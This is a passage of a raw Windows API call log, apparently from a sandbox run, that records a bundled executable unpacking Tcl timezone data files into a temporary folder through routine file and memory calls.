lpSystemTime=0x4f8cd8) returned 1 [0043.378] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.378] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.378] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.378] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.378] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.378] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.378] CloseHandle (hObject=0x10c) returned 1 [0043.378] GetLastError () returned 0x0 [0043.378] SetLastError (dwErrCode=0x0) [0043.378] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.378] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.378] GetFileType (hFile=0x10c) returned 0x1 [0043.378] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.378] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.378] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.378] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.378] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.378] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.378] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.378] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.378] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.378] CloseHandle (hObject=0x10c) returned 1 [0043.378] GetLastError () returned 0x0 [0043.379] SetLastError (dwErrCode=0x0) [0043.379] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Wallis") returned 71 [0043.379] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Wallis" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\wallis"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.379] GetLastError () returned 0x2 [0043.379] SetLastError (dwErrCode=0x2) [0043.379] GetLastError () returned 0x2 [0043.379] SetLastError (dwErrCode=0x2) [0043.379] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Wallis", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Wallis", lpFilePart=0x0) returned 0x46 [0043.379] GetLastError () returned 0x2 [0043.379] SetLastError (dwErrCode=0x2) [0043.379] GetLastError () returned 0x2 [0043.379] SetLastError (dwErrCode=0x2) [0043.379] GetLastError () returned 0x2 [0043.379] SetLastError (dwErrCode=0x2) [0043.379] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Wallis") returned 71 [0043.379] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.379] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Wallis" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\wallis"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.379] GetFileType (hFile=0x10c) returned 0x1 [0043.379] htonl (hostlong=0x92000000) returned 0x92 [0043.379] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.379] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x92, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x92, lpOverlapped=0x0) returned 1 [0043.380] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.380] CloseHandle (hObject=0x10c) returned 1 [0043.384] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.384] htonl (hostlong=0x30000000) returned 0x30 [0043.384] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.384] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.384] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.384] GetFileType (hFile=0x10c) returned 0x1 [0043.384] htonl (hostlong=0x96275d00) returned 0x5d2796 [0043.384] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61d796, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.384] htonl (hostlong=0x88000000) returned 0x88 [0043.384] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x88) returned 0x55cfe0 [0043.384] htonl (hostlong=0x88000000) returned 0x88 [0043.384] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.384] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.384] htonl (hostlong=0xae000000) returned 0xae [0043.384] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xae) returned 0x550600 [0043.384] htonl (hostlong=0x88000000) returned 0x88 [0043.384] htonl (hostlong=0xae000000) returned 0xae [0043.384] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.385] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.385] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.385] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.385] CloseHandle (hObject=0x10c) returned 1 [0043.385] GetLastError () returned 0x0 [0043.385] SetLastError (dwErrCode=0x0) [0043.385] GetLastError () returned 0x0 [0043.385] SetLastError (dwErrCode=0x0) [0043.385] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.385] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.385] GetFileType (hFile=0x10c) returned 0x1 [0043.385] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.385] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.385] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.385] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.385] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.385] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.385] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.385] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.385] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.385] CloseHandle (hObject=0x10c) returned 1 [0043.385] GetLastError () returned 0x0 [0043.385] SetLastError (dwErrCode=0x0) [0043.385] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.385] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.386] GetFileType (hFile=0x10c) returned 0x1 [0043.386] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.386] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.386] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.386] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.386] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.386] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.386] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.386] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.386] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.386] CloseHandle (hObject=0x10c) returned 1 [0043.386] GetLastError () returned 0x0 [0043.386] SetLastError (dwErrCode=0x0) [0043.386] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.386] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.386] GetFileType (hFile=0x10c) returned 0x1 [0043.386] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.386] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.386] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.386] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.386] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.386] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.386] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.386] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.386] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.386] CloseHandle (hObject=0x10c) returned 1 [0043.387] GetLastError () returned 0x0 [0043.387] SetLastError (dwErrCode=0x0) [0043.387] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Yap") returned 68 [0043.387] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Yap" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\yap"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.387] GetLastError () returned 0x2 [0043.387] SetLastError (dwErrCode=0x2) [0043.387] GetLastError () returned 0x2 [0043.387] SetLastError (dwErrCode=0x2) [0043.387] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Yap", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Yap", lpFilePart=0x0) returned 0x43 [0043.387] GetLastError () returned 0x2 [0043.387] SetLastError (dwErrCode=0x2) [0043.387] GetLastError () returned 0x2 [0043.387] SetLastError (dwErrCode=0x2) [0043.387] GetLastError () returned 0x2 [0043.387] SetLastError (dwErrCode=0x2) [0043.387] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Yap") returned 68 [0043.387] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.387] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Yap" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\yap"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.387] GetFileType (hFile=0x10c) returned 0x1 [0043.387] htonl (hostlong=0xae000000) returned 0xae [0043.387] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.387] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xae, lpOverlapped=0x0) returned 1 [0043.389] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.389] CloseHandle (hObject=0x10c) returned 1 [0043.389] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.389] htonl (hostlong=0x30000000) returned 0x30 [0043.389] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.389] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.389] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.389] GetFileType (hFile=0x10c) returned 0x1 [0043.389] htonl (hostlong=0x1e285d00) returned 0x5d281e [0043.389] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61d81e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.389] htonl (hostlong=0x87000000) returned 0x87 [0043.389] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x87) returned 0x55cfe0 [0043.389] htonl (hostlong=0x87000000) returned 0x87 [0043.389] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.389] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.389] htonl (hostlong=0xa9000000) returned 0xa9 [0043.389] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa9) returned 0x550600 [0043.389] htonl (hostlong=0x87000000) returned 0x87 [0043.389] htonl (hostlong=0xa9000000) returned 0xa9 [0043.389] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.389] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.389] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.390] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.390] CloseHandle (hObject=0x10c) returned 1 [0043.390] GetLastError () returned 0x0 [0043.390] SetLastError (dwErrCode=0x0) [0043.390] GetLastError () returned 0x0 [0043.390] SetLastError (dwErrCode=0x0) [0043.390] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.390] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.390] GetFileType (hFile=0x10c) returned 0x1 [0043.390] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.390] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.390] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.390] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.390] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.390] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.390] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.390] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.390] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.390] CloseHandle (hObject=0x10c) returned 1 [0043.390] GetLastError () returned 0x0 [0043.390] SetLastError (dwErrCode=0x0) [0043.390] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.390] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.390] GetFileType (hFile=0x10c) returned 0x1 [0043.390] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.391] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.391] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.391] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.391] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.391] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.391] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.391] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.391] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.391] CloseHandle (hObject=0x10c) returned 1 [0043.391] GetLastError () returned 0x0 [0043.391] SetLastError (dwErrCode=0x0) [0043.391] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Poland") returned 63 [0043.391] 